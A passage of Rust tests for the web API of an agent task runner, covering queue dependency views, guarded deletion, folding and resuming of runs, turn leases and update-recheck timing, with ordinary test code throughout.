12989 serde_json::json!([])
12990 );
12991 }
12992
12993 #[tokio::test]
12994 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
12995 async fn delta_payload_benchmark() {
12996 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
12997 let ui = delta_test_ui(&home);
12998 let query = |ids: Option<String>| {
12999 Query(ListQuery {
13000 limit: Some(50),
13001 ids,
13002 })
13003 };
13004 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13005 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13006 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13007 let queue_id = queue
13008 .iter()
13009 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13010 .unwrap_or(&queue[0])
13011 .task
13012 .id
13013 .clone();
13014 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13015 .await
13016 .unwrap()
13017 .0;
13018 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13019 .await
13020 .unwrap()
13021 .0;
13022 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13023 .await
13024 .unwrap()
13025 .0;
13026 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13027 eprintln!(
13028 "DELTA_PAYLOAD {}",
13029 serde_json::json!({
13030 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13031 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13032 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13033 "counts": [queue.len(), runs.len(), talks.len()],
13034 "blocked": queue_delta.len() - 1,
13035 })
13036 );
13037 }
13038
13039 #[test]
13040 fn runs_revision_moves_when_deleting_an_older_run() {
13041 let temp = TempDir::new().expect("tempdir");
13042 let runs = temp.path().join("runs");
13043 std::fs::create_dir_all(&runs).expect("create runs dir");
13044
13045 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13046
13047 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13048 std::thread::sleep(Duration::from_millis(10));
13049 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13050
13051 let rev_before = runs_revision(&runs);
13052 assert!(rev_before > 0);
13053
13054 let old_dir = runs.join("20260901-100000-old1");
13055 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13056
13057 let rev_after = runs_revision(&runs);
13058 assert_ne!(
13059 rev_before, rev_after,
13060 "deleting an older run must change the revision so other clients see the deletion"
13061 );
13062 }
13063
13064 fn write_state(runs: &FsPath, state: &RunState) {
13069 let dir = runs.join(&state.id);
13070 std::fs::create_dir_all(&dir).expect("run dir");
13071 std::fs::write(
13072 dir.join("run.json"),
13073 serde_json::to_string_pretty(state).expect("serialize run"),
13074 )
13075 .expect("write run.json");
13076 }
13077
13078 #[test]
13083 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13084 let temp = TempDir::new().expect("tempdir");
13085 let runs = temp.path().join("runs");
13086 std::fs::create_dir_all(&runs).expect("create runs dir");
13087 let mut state = RunState::new(
13088 PathBuf::from("/repo/magi"),
13089 "main".to_owned(),
13090 "0123456789abcdef".to_owned(),
13091 "task".to_owned(),
13092 Config::default(),
13093 );
13094 state.id = "20260902-100000-c0de".to_owned();
13095 write_state(&runs, &state);
13096
13097 let rev_idle = runs_revision(&runs);
13098 std::thread::sleep(Duration::from_millis(10));
13099 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13100 write_state(&runs, &state);
13101 let rev_started = runs_revision(&runs);
13102 assert_ne!(
13103 rev_idle, rev_started,
13104 "a seat starting must move the revision"
13105 );
13106
13107 std::thread::sleep(Duration::from_millis(10));
13108 state.seat_finished("judge-1");
13109 write_state(&runs, &state);
13110 let rev_finished = runs_revision(&runs);
13111 assert_ne!(
13112 rev_started, rev_finished,
13113 "and clearing it again must move the revision a second time"
13114 );
13115 }
13116
13117 #[tokio::test]
13118 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13119 let fx = Fixture::start().await;
13124 let q = fx.queue();
13125
13126 let mut t = Task::new(
13127 "Task".to_owned(),
13128 "Instruction".to_owned(),
13129 PathBuf::from("/repo"),
13130 Source::Human,
13131 );
13132 t.block(
13133 vec!["20260101-000000-dead".to_owned()],
13134 Some("waiting on Task 1".to_owned()),
13135 );
13136 t.answers.push(crate::queue::AnsweredQuestion {
13137 question: "Which backend?".to_owned(),
13138 answer: "SQLite".to_owned(),
13139 });
13140 q.put(&mut t).expect("put t");
13141
13142 let res = fx.get("/api/queue").await;
13143 assert_eq!(res.status, 200);
13144 let list = res.json();
13145 let view = list
13146 .as_array()
13147 .expect("array")
13148 .iter()
13149 .find(|v| v["id"] == t.id)
13150 .expect("task in list");
13151 assert_eq!(view["status_str"], "blocked");
13152 assert_eq!(
13153 view["blocked_by"],
13154 serde_json::json!(["20260101-000000-dead"])
13155 );
13156 assert_eq!(view["block_reason"], "waiting on Task 1");
13157 assert_eq!(view["answers"][0]["question"], "Which backend?");
13158 assert_eq!(view["answers"][0]["answer"], "SQLite");
13159
13160 let res = fx
13164 .post(&format!("/api/queue/{}/hold", t.short()), None)
13165 .await;
13166 assert_eq!(res.status, 200);
13167 let held = res.json();
13168 assert_eq!(held["status_str"], "held");
13169 assert_eq!(held["blocked_by"], serde_json::json!([]));
13170 assert!(held["block_reason"].is_null());
13171 assert_eq!(held["answers"][0]["answer"], "SQLite");
13172 }
13173
13174 #[tokio::test]
13175 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13176 let fx = Fixture::start().await;
13177 let q = fx.queue();
13178 let mk = |title: &str| {
13179 Task::new(
13180 title.to_owned(),
13181 "Instruction".to_owned(),
13182 PathBuf::from("/repo"),
13183 Source::Human,
13184 )
13185 };
13186 let mut root = mk("root");
13187 root.hold_manual(Some("waiting".to_owned()));
13188 q.put(&mut root).unwrap();
13189 let mut mid = mk("mid");
13190 mid.block(vec![root.id.clone()], None);
13191 q.put(&mut mid).unwrap();
13192 let mut leaf = mk("leaf");
13193 leaf.block(vec![mid.id.clone()], None);
13194 q.put(&mut leaf).unwrap();
13195
13196 let list = fx.get("/api/queue").await.json();
13197 let find = |id: &str| {
13198 list.as_array()
13199 .unwrap()
13200 .iter()
13201 .find(|v| v["id"] == id)
13202 .unwrap()
13203 .clone()
13204 };
13205 let leaf_view = find(&leaf.id);
13206 assert_eq!(
13207 leaf_view["waits_on"],
13208 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13209 );
13210 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13211 assert_eq!(
13212 find(&mid.id)["waits_on"],
13213 serde_json::json!([format!("{} (held)", root.short())])
13214 );
13215 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13216 }
13217
13218 #[tokio::test]
13219 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13220 let fx = Fixture::start().await;
13221 let q = fx.queue();
13222
13223 let mut t1 = Task::new(
13225 "Task 1".to_owned(),
13226 "Instruction 1".to_owned(),
13227 PathBuf::from("/repo"),
13228 Source::Human,
13229 );
13230 let run_id = "20260901-000000-r111";
13231 t1.runs.push(run_id.to_owned());
13232 write_run(&fx.runs(), run_id, RunStatus::Merged);
13233 q.put(&mut t1).expect("put t1");
13234
13235 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13237 assert_eq!(res.status, 204);
13238 assert!(res.body.is_empty(), "204 No Content has no body");
13239 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13240 assert!(
13241 fx.runs().join(run_id).exists(),
13242 "run directory must not be deleted when its task is deleted"
13243 );
13244
13245 let mut t2 = Task::new(
13247 "Task 2".to_owned(),
13248 "Instruction 2".to_owned(),
13249 PathBuf::from("/repo"),
13250 Source::Human,
13251 );
13252 t2.status = TaskStatus::Running;
13253 q.put(&mut t2).expect("put t2");
13254 let mut beat = crate::daemon::Status::new();
13255 beat.current = vec![crate::daemon::Current {
13256 task: t2.id.clone(),
13257 run: "20260901-000000-r222".to_owned(),
13258 }];
13259 beat.updated_at = jiff::Timestamp::now();
13260 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13261 .expect("publish a heartbeat");
13262 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13263 assert_eq!(res.status, 409);
13264 assert!(
13265 res.json()["error"]
13266 .as_str()
13267 .unwrap()
13268 .contains("live daemon")
13269 );
13270 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13271
13272 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13278 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13279 .expect("leave a stale heartbeat");
13280 let mut t3 = Task::new(
13281 "Task 3".to_owned(),
13282 "Instruction 3".to_owned(),
13283 PathBuf::from("/repo"),
13284 Source::Human,
13285 );
13286 t3.status = TaskStatus::Running;
13287 q.put(&mut t3).expect("put t3");
13288 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13289 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13290 assert_eq!(res.status, 204);
13291 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13292 assert!(
13293 q.claim(&t3.id).is_ok(),
13294 "the stale lock went with it, so the id is claimable again"
13295 );
13296
13297 let res = fx.delete("/api/queue/nonexistent").await;
13299 assert_eq!(res.status, 404);
13300 }
13301
13302 #[tokio::test]
13303 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13304 let fx = Fixture::start().await;
13305 let runs = fx.runs();
13306
13307 let run_id = "20260901-000000-fold";
13309 let mut state = RunState::new(
13310 PathBuf::from("/repo"),
13311 "main".to_owned(),
13312 "abc".to_owned(),
13313 "instruction".to_owned(),
13314 Config::default(),
13315 );
13316 state.id = run_id.to_owned();
13317 state.status = RunStatus::Merged;
13318 state.candidates.push(crate::run::Candidate {
13319 index: 0,
13320 label: 'A',
13321 agent: "a".to_owned(),
13322 branch: "b".to_owned(),
13323 worktree: PathBuf::from("/w"),
13324 summary: String::new(),
13325 stat: String::new(),
13326 files: 1,
13327 commits: 1,
13328 empty: false,
13329 failed: None,
13330 verified_noop: None,
13331 duration_ms: 0,
13332 folded: true,
13333 });
13334 let dir = runs.join(run_id);
13335 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13336 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13337 .expect("write artifact");
13338 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13339 .expect("write run.json");
13340
13341 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13343 assert_eq!(res.status, 204);
13344 assert!(res.body.is_empty(), "204 has no body");
13345 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13346
13347 let run_running = "20260901-000000-rung";
13352 write_run(&runs, run_running, RunStatus::Prep);
13353 let mut beat = crate::daemon::Status::new();
13354 beat.current = vec![crate::daemon::Current {
13355 task: "20260901-000000-task".to_owned(),
13356 run: run_running.to_owned(),
13357 }];
13358 beat.updated_at = jiff::Timestamp::now();
13359 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13360 .expect("publish a heartbeat");
13361 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13362 assert_eq!(res.status, 409);
13363 assert!(
13364 res.json()["error"]
13365 .as_str()
13366 .unwrap()
13367 .contains("live daemon"),
13368 "the refusal must say who is holding it"
13369 );
13370 assert!(
13371 runs.join(run_running).exists(),
13372 "a run in flight keeps its directory"
13373 );
13374
13375 let run_unfolded = "20260901-000000-unfd";
13377 let mut state2 = RunState::new(
13378 PathBuf::from("/repo"),
13379 "main".to_owned(),
13380 "abc".to_owned(),
13381 "instruction".to_owned(),
13382 Config::default(),
13383 );
13384 state2.id = run_unfolded.to_owned();
13385 state2.status = RunStatus::Ready;
13386 state2.candidates.push(crate::run::Candidate {
13387 index: 0,
13388 label: 'A',
13389 agent: "a".to_owned(),
13390 branch: "b".to_owned(),
13391 worktree: PathBuf::from("/w"),
13392 summary: String::new(),
13393 stat: String::new(),
13394 files: 1,
13395 commits: 1,
13396 empty: false,
13397 failed: None,
13398 verified_noop: None,
13399 duration_ms: 0,
13400 folded: false,
13401 });
13402 let dir2 = runs.join(run_unfolded);
13403 std::fs::create_dir_all(&dir2).expect("create dir2");
13404 std::fs::write(
13405 dir2.join("run.json"),
13406 serde_json::to_string(&state2).unwrap(),
13407 )
13408 .expect("write run.json");
13409
13410 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13411 assert_eq!(res.status, 409);
13412 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13413 assert!(dir2.exists(), "unfolded run directory is kept");
13414
13415 let res = fx.delete("/api/runs/nonexistent").await;
13417 assert_eq!(res.status, 404);
13418 }
13419
13420 #[test]
13429 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13430 let start = APP_JS
13431 .find("function renderStats() {")
13432 .expect("renderStats");
13433 let end = start
13434 + APP_JS[start..]
13435 .find("function statsTile(")
13436 .expect("the next top-level function");
13437 let body = &APP_JS[start..end];
13438
13439 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13440 let gate_end = gate_start
13441 + body[gate_start..]
13442 .find("}\n renderStatsQueue")
13443 .expect("the gate's own closing brace, right before the unconditional call");
13444 let gated = &body[gate_start..gate_end];
13445
13446 assert_eq!(
13447 body.matches("renderStatsQueue(").count(),
13448 1,
13449 "renderStats must call renderStatsQueue exactly once: {body}"
13450 );
13451 assert!(
13452 !gated.contains("renderStatsQueue"),
13453 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13454 run-derived panels on an empty run history - the queue panel has to render \
13455 regardless: {gated}"
13456 );
13457 }
13458
13459 #[test]
13460 fn web_ui_delete_contract_in_front_end() {
13461 assert!(APP_JS.contains("deleteRun:"));
13463 assert!(APP_JS.contains("deleteTask:"));
13464
13465 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13467 ..APP_JS.find("function renderRuns").unwrap()];
13468 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13469
13470 assert!(APP_JS.contains("renderRunDelete"));
13472 assert!(APP_JS.contains("runDeleteReason"));
13473 assert!(APP_JS.contains("magi fold"));
13474 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13475
13476 assert!(APP_JS.contains("cancel.focus"));
13478 assert!(APP_JS.contains("armedRunDelete"));
13479 assert!(APP_JS.contains("renderTaskDeleteBox"));
13480 assert!(APP_JS.contains("armed${cap(key)}"));
13481
13482 assert!(APP_JS.contains("disabled: status === \"running\""));
13484 }
13485
13486 #[test]
13506 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13507 let build = APP_JS
13508 .find("function createRunCard")
13509 .expect("createRunCard exists");
13510 let update = APP_JS
13511 .find("function updateRunCard")
13512 .expect("updateRunCard exists");
13513 let end = APP_JS
13514 .find("function renderRuns")
13515 .expect("renderRuns exists");
13516
13517 let builder = &APP_JS[build..update];
13519 let open = builder.find("refs = {").expect("createRunCard sets refs");
13520 let literal = &builder[open + "refs = {".len()..];
13521 let close = literal.find('}').expect("the refs literal is closed");
13522 let published: HashSet<&str> = literal[..close]
13523 .split(',')
13524 .filter_map(|entry| entry.split(':').next())
13526 .map(str::trim)
13527 .filter(|name| !name.is_empty())
13528 .collect();
13529 assert!(
13530 published.len() > 5,
13531 "the refs literal did not parse into names: {published:?}"
13532 );
13533
13534 let mut used: Vec<&str> = Vec::new();
13537 let updaters = &APP_JS[update..end];
13538 for (at, _) in updaters.match_indices("r.") {
13539 let before = updaters[..at].chars().next_back();
13542 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13543 continue;
13544 }
13545 let rest = &updaters[at + 2..];
13546 let len = rest
13547 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13548 .unwrap_or(rest.len());
13549 if len > 0 {
13550 used.push(&rest[..len]);
13551 }
13552 }
13553 assert!(
13554 used.len() > 5,
13555 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13556 );
13557
13558 let missing: Vec<&str> = used
13559 .iter()
13560 .copied()
13561 .filter(|name| !published.contains(name))
13562 .collect();
13563 assert!(
13564 missing.is_empty(),
13565 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13566 never put in `refs` - every card will throw and the list will \
13567 render empty under a count line that says otherwise. Published: \
13568 {published:?}"
13569 );
13570 }
13571
13572 #[tokio::test]
13573 async fn folding_from_the_phone_reports_what_it_removed() {
13574 let fx = Fixture::start().await;
13575 let runs = fx.runs();
13576
13577 let id = "20260901-000000-fold";
13581 write_run(&runs, id, RunStatus::Stalled);
13582 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13583 assert_eq!(res.status, 200);
13584 assert_eq!(res.json()["removed_count"], 0);
13585 assert_eq!(res.json()["run"], id);
13586 assert!(
13587 runs.join(id).exists(),
13588 "a fold keeps the run's record; only the worktrees go"
13589 );
13590 }
13591
13592 #[tokio::test]
13593 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13594 let fx = Fixture::start().await;
13595 let runs = fx.runs();
13596 let wt = fx.home.path().join("wt").join("magi").join("dead");
13597 let id = "20260901-000000-dead";
13598 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13599 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13600 std::fs::create_dir_all(&wt).expect("worktree dir");
13601
13602 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13603 assert_eq!(res.status, 200, "{}", res.body);
13604 assert!(
13605 res.json()["removed_count"].as_u64().unwrap() > 0,
13606 "the worktree this build could not read a state for still went"
13607 );
13608 assert!(
13609 !runs.join(id).exists(),
13610 "an unreadable run has no candidate list to fold selectively, so \
13611 the whole record goes - same as `magi fold` on the CLI"
13612 );
13613 }
13614
13615 #[tokio::test]
13616 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13617 let fx = Fixture::start().await;
13618 let runs = fx.runs();
13619 let wt = fx.home.path().join("wt").join("magi").join("gone");
13620 let id = "20260901-000000-gone";
13621 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13622 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13623 std::fs::create_dir_all(&wt).expect("worktree dir");
13624
13625 let res = fx.delete(&format!("/api/runs/{id}")).await;
13626 assert_eq!(res.status, 204, "{}", res.body);
13627 assert!(!runs.join(id).exists(), "the broken record is gone");
13628 assert!(!wt.exists(), "its worktree is gone too");
13629 }
13630
13631 #[tokio::test]
13632 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13633 let fx = Fixture::start().await;
13634 let runs = fx.runs();
13635 let id = "20260901-000000-live";
13636 write_run(&runs, id, RunStatus::Implementing);
13637
13638 let mut beat = crate::daemon::Status::new();
13639 beat.current = vec![crate::daemon::Current {
13640 task: "20260901-000000-task".to_owned(),
13641 run: id.to_owned(),
13642 }];
13643 beat.updated_at = jiff::Timestamp::now();
13644 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13645 .expect("publish a heartbeat");
13646
13647 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13648 assert_eq!(res.status, 409);
13649 assert!(
13650 res.json()["error"]
13651 .as_str()
13652 .unwrap()
13653 .contains("live daemon"),
13654 "folding under a running agent would pull its worktree away"
13655 );
13656 }
13657
13658 #[tokio::test]
13659 async fn fold_merged_requires_a_pr_url() {
13660 let fx = Fixture::start().await;
13661 let runs = fx.runs();
13662 let id = "20260901-000000-nourl";
13663 write_run(&runs, id, RunStatus::Blocked);
13664
13665 let res = fx
13666 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13667 .await;
13668 assert_eq!(res.status, 400, "{}", res.body);
13669
13670 let blank = fx
13671 .post(
13672 &format!("/api/runs/{id}/fold-merged"),
13673 Some(r#"{"pr_url":" "}"#),
13674 )
13675 .await;
13676 assert_eq!(blank.status, 400, "{}", blank.body);
13677 }
13678
13679 #[tokio::test]
13680 async fn fold_merged_is_404_for_an_unknown_run() {
13681 let fx = Fixture::start().await;
13682 let res = fx
13683 .post(
13684 "/api/runs/nosuchrun/fold-merged",
13685 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13686 )
13687 .await;
13688 assert_eq!(res.status, 404, "{}", res.body);
13689 }
13690
13691 #[tokio::test]
13692 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13693 let fx = Fixture::start().await;
13694 let runs = fx.runs();
13695 let id = "20260901-000000-livemerge";
13696 write_run(&runs, id, RunStatus::Blocked);
13697
13698 let mut beat = crate::daemon::Status::new();
13699 beat.current = vec![crate::daemon::Current {
13700 task: "20260901-000000-task".to_owned(),
13701 run: id.to_owned(),
13702 }];
13703 beat.updated_at = jiff::Timestamp::now();
13704 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13705 .expect("publish a heartbeat");
13706
13707 let res = fx
13708 .post(
13709 &format!("/api/runs/{id}/fold-merged"),
13710 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13711 )
13712 .await;
13713 assert_eq!(res.status, 409, "{}", res.body);
13714 assert!(
13715 res.json()["error"]
13716 .as_str()
13717 .unwrap()
13718 .contains("live daemon"),
13719 "correcting a run's merge underneath a running agent would race \
13720 whatever it is doing to the same `status`/`merge` fields"
13721 );
13722 }
13723
13724 #[tokio::test]
13729 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13730 let fx = Fixture::start().await;
13731 let runs = fx.runs();
13732 let id = "20260901-000000-unconfirmed";
13733 write_run(&runs, id, RunStatus::Blocked);
13734
13735 let res = fx
13736 .post(
13737 &format!("/api/runs/{id}/fold-merged"),
13738 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13739 )
13740 .await;
13741 assert_eq!(res.status, 400, "{}", res.body);
13742 assert_eq!(
13743 read_run(&runs, id).unwrap().status,
13744 RunStatus::Blocked,
13745 "a pull request that could not be confirmed merged must leave \
13746 the run exactly where it was"
13747 );
13748 }
13749
13750 #[tokio::test]
13751 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
13752 let fx = Fixture::start().await;
13753 let runs = fx.runs();
13754
13755 for (status, word) in [
13761 (RunStatus::Merged, "merged"),
13762 (RunStatus::Ready, "ready"),
13763 (RunStatus::Failed, "failed"),
13764 ] {
13765 let id = format!("20260901-000000-{}", &word[..4]);
13766 write_run(&runs, &id, status);
13767 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
13768 assert_eq!(res.status, 409, "{word} must not be resumable");
13769 let err = res.json()["error"].as_str().unwrap().to_owned();
13770 assert!(err.contains(word), "the refusal names the status: {err}");
13771 }
13772
13773 let mid = "20260901-000000-midf";
13778 write_run(&runs, mid, RunStatus::Reviewing);
13779 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
13780 assert_eq!(res.status, 202, "an interrupted run is resumable");
13781 }
13782
13783 #[tokio::test]
13784 async fn resume_is_refused_while_the_loop_is_running() {
13785 let fx = Fixture::start().await;
13786 let runs = fx.runs();
13787 let stalled = "20260901-000000-stal";
13788 write_run(&runs, stalled, RunStatus::Stalled);
13789
13790 let mut beat = crate::daemon::Status::new();
13794 beat.current = vec![crate::daemon::Current {
13795 task: "20260901-000000-task".to_owned(),
13796 run: "20260901-000000-othr".to_owned(),
13797 }];
13798 beat.updated_at = jiff::Timestamp::now();
13799 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13800 .expect("publish a heartbeat");
13801
13802 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
13803 assert_eq!(res.status, 409);
13804 let err = res.json()["error"].as_str().unwrap().to_owned();
13805 assert!(err.contains("othr"), "it names what the loop is on: {err}");
13806 assert!(err.contains("stop it first"), "{err}");
13807 }
13808
13809 #[test]
13810 fn a_run_cannot_be_resumed_twice_at_once() {
13811 let home = TempDir::new().expect("temp home");
13812 let ui = Ui::new(
13813 Queue::at(home.path().join("queue")),
13814 Questions::at(home.path().join("questions")),
13815 Talks::at(home.path().join("talks")),
13816 home.path().join("runs"),
13817 home.path().to_path_buf(),
13818 PathBuf::from("/repo"),
13819 )
13820 .with_worktrees_root(home.path().join("wt"));
13821 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
13822 let again = ui.begin_resume("20260901-000000-once");
13823 assert!(again.is_err(), "a second tap must not start a second graph");
13824 drop(first);
13825 assert!(
13826 ui.begin_resume("20260901-000000-once").is_ok(),
13827 "and the claim is released when the attempt ends"
13828 );
13829 }
13830
13831 #[test]
13832 fn talk_thinking_tracks_only_its_held_turn_claim() {
13833 let home = TempDir::new().expect("temp home");
13834 let ui = Ui::new(
13835 Queue::at(home.path().join("queue")),
13836 Questions::at(home.path().join("questions")),
13837 Talks::at(home.path().join("talks")),
13838 home.path().join("runs"),
13839 home.path().to_path_buf(),
13840 PathBuf::from("/repo"),
13841 )
13842 .with_worktrees_root(home.path().join("wt"));
13843 let id = "20260901-000000-once";
13844
13845 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
13846 let turn = ui.begin_talk_turn(id).expect("claim turn");
13847 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
13848 assert!(
13849 !ui.is_thinking("20260901-000000-other"),
13850 "one talk's turn does not make another talk busy"
13851 );
13852 drop(turn);
13853 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
13854 }
13855
13856 #[test]
13857 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
13858 let home = TempDir::new().expect("temp home");
13859 let talks = Talks::at(home.path().join("talks"));
13860 let ui = Ui::new(
13861 Queue::at(home.path().join("queue")),
13862 Questions::at(home.path().join("questions")),
13863 talks.clone(),
13864 home.path().join("runs"),
13865 home.path().to_path_buf(),
13866 PathBuf::from("/repo"),
13867 )
13868 .with_worktrees_root(home.path().join("wt"));
13869 let id = "20260901-000000-cross";
13870
13871 let other = Talks::at(home.path().join("talks"))
13872 .claim_turn(id)
13873 .expect("claim")
13874 .expect("the other process wins");
13875 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
13876 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
13877 assert!(
13878 matches!(
13879 ui.begin_talk_turn_unless_pending(id).expect("start"),
13880 TalkTurnStart::Foreign
13881 ),
13882 "a foreign holder is refused, not queued behind"
13883 );
13884 assert!(
13885 !ui.talk_turns.lock().unwrap().live.contains(id),
13886 "a refused claim leaves no in-process entry behind"
13887 );
13888 drop(other);
13889 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
13890 assert!(talks.turn_held(id), "the web turn holds the lease");
13891 drop(turn);
13892 assert!(
13893 !talks.turn_held(id),
13894 "dropping the guard releases the lease"
13895 );
13896 }
13897
13898 #[tokio::test]
13899 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
13900 let fx = Fixture::start().await;
13901 let mut beat = crate::daemon::Status::new();
13905 beat.pid = 4321;
13906 beat.updated_at = jiff::Timestamp::now();
13907 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13908 .expect("publish a heartbeat");
13909
13910 let res = fx.post("/api/upgrade", None).await;
13911 assert_eq!(res.status, 409);
13912 let err = res.json()["error"].as_str().unwrap().to_owned();
13913 assert!(err.contains("4321"), "the refusal names the owner: {err}");
13914 assert!(err.contains("old one against the same queue"), "{err}");
13915 }
13916
13917 #[test]
13924 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
13925 assert!(!should_spawn_recheck(&crate::config::Update {
13926 mode: UpdateMode::Off,
13927 interval: None,
13928 }));
13929
13930 unsafe {
13933 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13934 }
13935 let killed = should_spawn_recheck(&crate::config::Update {
13936 mode: UpdateMode::Notify,
13937 interval: None,
13938 });
13939 unsafe {
13940 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13941 }
13942 assert!(
13943 !killed,
13944 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
13945 one-time startup check"
13946 );
13947
13948 assert!(should_spawn_recheck(&crate::config::Update {
13949 mode: UpdateMode::Notify,
13950 interval: None,
13951 }));
13952 }
13953
13954 #[test]
13960 fn recheck_poll_period_tracks_a_short_configured_interval() {
13961 let short = crate::config::Update {
13962 mode: UpdateMode::Notify,
13963 interval: Some("1m".to_owned()),
13964 };
13965 let period = recheck_poll_period(&short);
13966 assert!(
13967 period <= Duration::from_secs(30),
13968 "a one-minute interval must wake the task far sooner than the \
13969 default ceiling, or the deck would not notice within the \
13970 interval the operator configured: got {period:?}"
13971 );
13972
13973 let default = crate::config::Update {
13974 mode: UpdateMode::Notify,
13975 interval: None,
13976 };
13977 assert_eq!(
13978 recheck_poll_period(&default),
13979 UPDATE_RECHECK_POLL_MAX,
13980 "the default day-long interval should poll at the (capped) \
13981 ceiling rather than needlessly often"
13982 );
13983 }
13984
13985 #[test]
13993 fn recheck_skips_the_network_before_the_interval_elapses() {
13994 let dir = TempDir::new().expect("temp dir");
13995 let path = dir.path().join("state.json");
13996 let state = kaishin::UpdateCheckState {
13997 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
13998 last_known_latest: None,
13999 last_known_url: None,
14000 };
14001 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14002
14003 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14004 assert!(
14005 !update_recheck_due(&checker, None),
